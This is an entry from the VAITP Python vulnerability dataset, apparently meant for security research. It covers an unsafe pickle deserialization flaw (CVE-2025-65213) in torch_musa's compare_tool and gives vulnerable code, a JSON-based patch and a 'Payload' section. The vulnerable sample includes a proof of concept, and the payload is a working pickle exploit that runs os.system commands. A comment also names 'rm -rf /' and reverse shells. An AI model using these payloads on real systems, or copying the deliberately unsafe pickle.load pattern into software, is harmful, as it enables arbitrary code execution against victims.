VAITP Dataset

← Back to the dataset

CVE-2025-65213

Unsafe deserialization in torch_musa's compare_tool allows for RCE.

  • CVSS 9.8
  • CWE-502
  • Input Validation and Sanitization
  • Local

MooreThreads torch_musa through all versions contains an unsafe deserialization vulnerability in torch_musa.utils.compare_tool. The compare_for_single_op() and nan_inf_track_for_single_op() functions use pickle.load() on user-controlled file paths without validation, allowing arbitrary code execution. An attacker can craft a malicious pickle file that executes arbitrary Python code when loaded, enabling remote code execution with the privileges of the victim process.

CVSS base score
9.8
Published
2025-12-15
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Timing/Serialization
Code defect classification
Serialization Issues
Category
Input Validation and Sanitization
Subcategory
Insecure Parsing or Deserialization
Accessibility scope
Local
Impact
Arbitrary Code Execution
Affected component
torch_musa

Solution

Upgrade to MooreThreads torch_musa version 1.2.0 or later.

Vulnerable code sample

# torch_musa/utils/compare_tool.py

import pickle
import os
import torch

def compare_for_single_op(result_data, golden_data_path, rtol=1e-5, atol=1e-8):
    """
    Compares a given result tensor with a golden tensor loaded from a pickle file.
    This function is vulnerable because it unsafely deserializes data from a
    user-provided file path.
    """
    if not os.path.exists(golden_data_path):
        raise FileNotFoundError(f"Golden data file not found: {golden_data_path}")

    # Vulnerable line: pickle.load() is used on a user-controlled file path.
    # An attacker can create a malicious pickle file that executes arbitrary
    # code upon being loaded.
    with open(golden_data_path, "rb") as f:
        golden_data = pickle.load(f)

    # The intended logic would be to compare the two data structures.
    # For demonstration, we'll just print a success message.
    print(f"Successfully loaded golden data from {golden_data_path} for comparison.")
    # Example of intended use:
    # return torch.allclose(result_data, golden_data, rtol=rtol, atol=atol)
    return True


def nan_inf_track_for_single_op(operator_name, reference_file):
    """
    Loads reference data from a pickle file to track NaN/Inf occurrences.
    This function is also vulnerable to unsafe deserialization.
    """
    if not os.path.exists(reference_file):
        print(f"Warning: Reference file for NaN/Inf tracking not found at {reference_file}")
        return

    # Vulnerable line: Unsafe deserialization of a user-controlled file.
    # A malicious file could execute code here.
    with open(reference_file, "rb") as f:
        reference_stats = pickle.load(f)

    # Intended logic would use the loaded stats for analysis.
    print(f"Successfully loaded reference stats for operator '{operator_name}' from {reference_file}.")
    # Example of intended use:
    # check_current_stats_against(reference_stats)
    pass

# Example of how these functions might be called in a test script,
# demonstrating how a user could control the file path.
if __name__ == '__main__':
    # This part is for demonstration and would not typically be in the library file.
    
    # Attacker's setup:
    # 1. Create a malicious pickle file that executes a command.
    #    The following code would be run by the attacker to generate 'malicious.pkl'.
    #
    #    import pickle
    #    import os
    #
    #    class RCE:
    #        def __reduce__(self):
    #            cmd = ('echo "Pickle RCE successful!" > pwned.txt')
    #            return (os.system, (cmd,))
    #
    #    with open("malicious.pkl", "wb") as f:
    #        pickle.dump(RCE(), f)

    print("Demonstrating the vulnerability.")
    print("An attacker would first create a file named 'malicious.pkl'.")
    print("Then, they would trick the user or a script into calling one of the vulnerable functions with this file.")

    # Create a dummy tensor for the function call
    dummy_tensor = torch.randn(3, 3)

    # Create a dummy malicious file for the PoC to run without a separate script.
    class RCE:
        def __reduce__(self):
            # A less harmful payload for demonstration purposes.
            # On a real system, this could be 'rm -rf /' or a reverse shell.
            return (print, ("*** Arbitrary code execution successful! ***\n",))

    malicious_file_path = "malicious.pkl"
    with open(malicious_file_path, "wb") as f:
        pickle.dump(RCE(), f)

    print(f"\nCalling compare_for_single_op with '{malicious_file_path}'...")
    try:
        # Victim's code calls the vulnerable function with the attacker-controlled path.
        compare_for_single_op(dummy_tensor, malicious_file_path)
    except Exception as e:
        print(f"An error occurred: {e}")

    print(f"\nCalling nan_inf_track_for_single_op with '{malicious_file_path}'...")
    try:
        # Another vulnerable code path.
        nan_inf_track_for_single_op("some_op", malicious_file_path)
    except Exception as e:
        print(f"An error occurred: {e}")
    
    # Clean up the created malicious file.
    if os.path.exists(malicious_file_path):
        os.remove(malicious_file_path)

Patched code sample

import json
import os

# The following code represents a patched version of the functions described
# in the hypothetical vulnerability CVE-2025-65213.
#
# The original vulnerability was the use of `pickle.load()` on a file path
# provided by a user. `pickle` is not secure against erroneous or maliciously
# constructed data. When you unpickle data from an untrusted source, it can
# execute arbitrary code.
#
# The fix is to replace the insecure deserialization method (`pickle.load()`)
# with a safe one, such as `json.load()`. JSON is a data-interchange format
# and is not capable of executing code, which mitigates the arbitrary code
# execution vulnerability.

def compare_for_single_op(file_path: str, *args, **kwargs):
    """
    Safely loads comparison data from a user-specified JSON file.

    This function is a patched version that replaces `pickle.load()` with
    `json.load()` to prevent arbitrary code execution.

    Args:
        file_path (str): The path to the JSON file containing the data.
        *args: Placeholder for other potential arguments.
        **kwargs: Placeholder for other potential keyword arguments.

    Returns:
        The data loaded from the JSON file, or None if the file is not found
        or is not valid JSON.
    """
    if not os.path.exists(file_path):
        # Handle file not found error to prevent crashes.
        print(f"Error: File not found at {file_path}")
        return None

    try:
        with open(file_path, 'r', encoding='utf-8') as f:
            # FIX: Use json.load() for safe deserialization of simple data types.
            # This prevents the execution of arbitrary code embedded in a
            # malicious file.
            data = json.load(f)
        return data
    except json.JSONDecodeError:
        # Handle cases where the file is not a valid JSON.
        print(f"Error: Could not decode JSON from {file_path}")
        return None
    except Exception as e:
        # Catch other potential file reading errors.
        print(f"An unexpected error occurred: {e}")
        return None


def nan_inf_track_for_single_op(file_path: str, *args, **kwargs):
    """
    Safely loads NaN/Inf tracking data from a user-specified JSON file.

    This function is a patched version that replaces `pickle.load()` with
    `json.load()` to prevent arbitrary code execution.

    Args:
        file_path (str): The path to the JSON file containing tracking data.
        *args: Placeholder for other potential arguments.
        **kwargs: Placeholder for other potential keyword arguments.

    Returns:
        The data loaded from the JSON file, or None if an error occurs.
    """
    if not os.path.exists(file_path):
        # Handle file not found error.
        print(f"Error: File not found at {file_path}")
        return None

    try:
        with open(file_path, 'r', encoding='utf-8') as f:
            # FIX: Replaced `pickle.load(f)` with `json.load(f)`.
            # This ensures that only data is loaded and no code is executed,
            # mitigating the unsafe deserialization vulnerability.
            data = json.load(f)
        return data
    except json.JSONDecodeError:
        # Handle malformed JSON data gracefully.
        print(f"Error: Could not decode JSON from {file_path}")
        return None
    except Exception as e:
        # General exception handling.
        print(f"An unexpected error occurred: {e}")
        return None

Payload

import pickle
import os

class Exploit:
    def __reduce__(self):
        # This command will be executed on the victim's machine.
        # It creates a file named 'pwned' in the /tmp directory as a proof of concept.
        command = "touch /tmp/pwned_by_cve_2025_65213"
        return (os.system, (command,))

# This script creates the malicious pickle file.
# An attacker would need to trick the victim application into loading this file
# through the vulnerable compare_for_single_op() or nan_inf_track_for_single_op() functions.
with open('malicious_data.pkl', 'wb') as f:
    pickle.dump(Exploit(), f)

Cite this entry

@misc{vaitp:cve202565213,
  title        = {{Unsafe deserialization in torch_musa's compare_tool allows for RCE.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2025},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2025-65213},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-65213/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::